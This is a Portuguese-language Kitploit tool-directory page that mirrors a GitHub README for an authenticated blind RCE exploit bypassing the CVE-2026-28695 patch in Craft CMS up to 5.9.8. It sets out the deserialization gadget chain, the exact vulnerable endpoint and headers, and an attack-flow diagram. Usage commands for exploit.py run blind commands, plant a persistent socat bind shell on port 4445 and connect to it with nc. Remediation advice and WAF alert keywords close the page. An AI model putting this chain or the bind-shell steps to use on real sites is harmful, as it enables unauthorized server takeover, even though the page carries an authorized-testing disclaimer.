Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-28695-craft-rce-bypass — Execução remota de código **cega** e autenticada no Craft CMS. Correção para CVE-2026-28695 | Kitploit
Ferramentas/GitHubGitHub/gbuyssens/cve-2026-28695-craft-rce-bypass
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubgbuyssens/cve-2026-28695-craft-rce-bypass

CVE-2026-28695-craft-rce-bypass

Execução remota de código **cega** e autenticada no Craft CMS. Correção para CVE-2026-28695

Ver Repositório
1há 5 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bypass do patch CVE-2026-28695 — RCE autenticado no Craft CMS ≤ 5.9.8 (element-search)

CVSS 3.x : 8.8 HIGH   (aprox — verificar)
CWE      : CWE-502 (Instanciação Insegura de Objeto) + CWE-1336 (origem SSTI)
Base     : CVE-2026-28695  (SSTI via create() + Symfony Process)
Correção : correção do advisory e31e508 (restringe create() a BaseObject) — CONTORNADA aqui
Afeta    : Craft CMS ≤ 5.9.8 com a correção do CVE-2026-28695 aplicada

Execução remota de código autenticada e cega no Craft CMS. A correção oficial para o CVE-2026-28695 apenas restringe create() a subclasses de yii\base\BaseObject. O gadget yii\behaviors\AttributeTypecastBehavior é um BaseObject, mas ainda alcança um sink call_user_func(), portanto sobrevive ao filtro. Entregue através da ação não-Twig admin/actions/element-search/search, também contorna CRAFT_ENABLE_TWIG_SANDBOX. Uma conta de Content Editor é suficiente.


Índice

  • Resumo da vulnerabilidade
  • Por que o PoC do CVE-2026-28695 está morto no 5.9.8
  • O bypass (cadeia de gadgets)
  • A restrição do escapeshellcmd
  • Cadeia de ataque
  • Versões afetadas
  • Este repositório
  • Uso
  • Remediação
  • Referências

Resumo da vulnerabilidade

O controlador element-search do Craft desserializa JSON do atacante em objetos PHP vivos através da maquinaria Craft::createObject() / Instance do Yii. Ao anexar um AttributeTypecastBehavior cujo attributeTypes mapeia um atributo para o callable [Psy\Readline\Hoa\ConsoleProcessus, execute] e disparar o evento beforeSave, o typecast torna-se:

call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")

O endpoint sempre responde HTTP 500 e não retorna saída de comando — a execução é cega.


Por que o PoC do CVE-2026-28695 está morto no 5.9.8

  • CVE-2026-28695 = SSTI via create() + Symfony Process, alcançado a partir de um sink Twig (tipicamente Entry Types → Title Format).
  • No 5.9.8 o commit de correção e31e508 restringe create() a subclasses de BaseObject, e o alvo também é executado com CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) e CRAFT_ENABLE_TWIG_SANDBOX=true. O vetor documentado está triplamente fechado.
  • Lição: confronte a versão exata contra o commit de correção, não dispare pelo nome do CVE. Aqui a correção é mais antiga que a build implantada → procure um bypass de filtro, não o PoC bruto.

O bypass (cadeia de gadgets)

yii\behaviors\AttributeTypecastBehavior  ->  Psy\Readline\Hoa\ConsoleProcessus::execute

Bypass duplo, por construção:

  1. Sandbox — element-search é um caminho de objeto PHP, não uma renderização Twig. CRAFT_ENABLE_TWIG_SANDBOX apenas controla o motor de templates, portanto nunca se aplica.
  2. Patch — a correção restringe create() a BaseObject. AttributeTypecastBehavior → yii\base\Behavior → yii\base\BaseObject, portanto satisfaz a nova restrição enquanto ainda oferece um sink de execução. A correção fecha uma família de classes, não a classe BaseObject.

Endpoint:

POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json

A restrição do escapeshellcmd

Hoa\ConsoleProcessus::execute() executa o comando através de escapeshellcmd():

  • Neutralizados: | && ; > < $() ' " → sem encadeamento, sem pipes, sem redirecionamento, sem reverse shell bash clássica.
  • Passam: : , /
  • Resultado: um binário + argumentos, sem metacaracteres de shell.

É por isso que o payload é uma shell bind única socat TCP-LISTEN,fork EXEC (argumentos em : / , / /) em vez de uma reverse shell.


Cadeia de ataque

   Atacante (Content Editor)                Craft CMS 5.9.8
        |                                        |
        |  GET /admin/login  (scrape CSRF)       |
        |--------------------------------------->|
        |  POST users/login (jenny:******)       |
        |--------------------------------------->|
        |  GET /admin/dashboard (JS csrf)        |
        |<---------------------------------------|
        |  POST element-search/search            |
        |    AttributeTypecastBehavior gadget    |
        |    typecastBeforeSave = "<CMD>"        |
        |--------------------------------------->|  call_user_func(
        |  HTTP 500  (blind, no output)          |    [ConsoleProcessus,execute], CMD)
        |<---------------------------------------|  -> escapeshellcmd(CMD) -> exec
        |                                        |
        |  oracle: "sleep 5" -> +~5s latency     |
        |  shell:  socat TCP-LISTEN:4445 bind     |

Versões afetadas

StatusVersões
VulnerávelCraft CMS ≤ 5.9.8 com a correção do CVE-2026-28695
NotaO gadget requer uma sessão CP autenticada

Este repositório

ArquivoFunção
exploit.pyPoC: login → verificação de timing-oracle → comando único → bind shell
README.mdEste arquivo

Uso

Requer requests (pip install requests).

# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check

# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"

# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445

# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind

O que acontece:

  1. Coleta o CSRF de login, autentica no CP, obtém o CSRF da ação do dashboard.
  2. Envia o gadget AttributeTypecastBehavior para element-search.
  3. --check prova a execução cega por latência injetada; --bind implanta um listener socat.

Remediação

  1. Atualize o Craft CMS para uma versão que restrinja a instanciação de objetos em todos os caminhos de entrada desserializados (não apenas create()), e audite o tratamento de condições do element-search.
  2. Mantenha CRAFT_ALLOW_ADMIN_CHANGES=false e minimize os privilégios de Content Editor — a autenticação é a única precondição aqui.
  3. Remova/atualize a dependência psy/psysh (Hoa) incluída onde um gadget ConsoleProcessus::execute seja alcançável.
  4. WAF/telemetria: alerte sobre corpos de element-search/search contendo __class, as rce, ou AttributeTypecastBehavior; sinalize rajadas de HTTP 500 dessa ação.

Referências

  • NVD — CVE-2026-28695 (SSTI base)
  • Commit de correção do Craft CMS e31e508 (create() → restrição a BaseObject)
  • Documentação do Yii AttributeTypecastBehavior / yii\base\Security

Aviso legal

Este projeto é apenas para testes de segurança autorizados, educação e pesquisa defensiva. Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.

Baixar ferramenta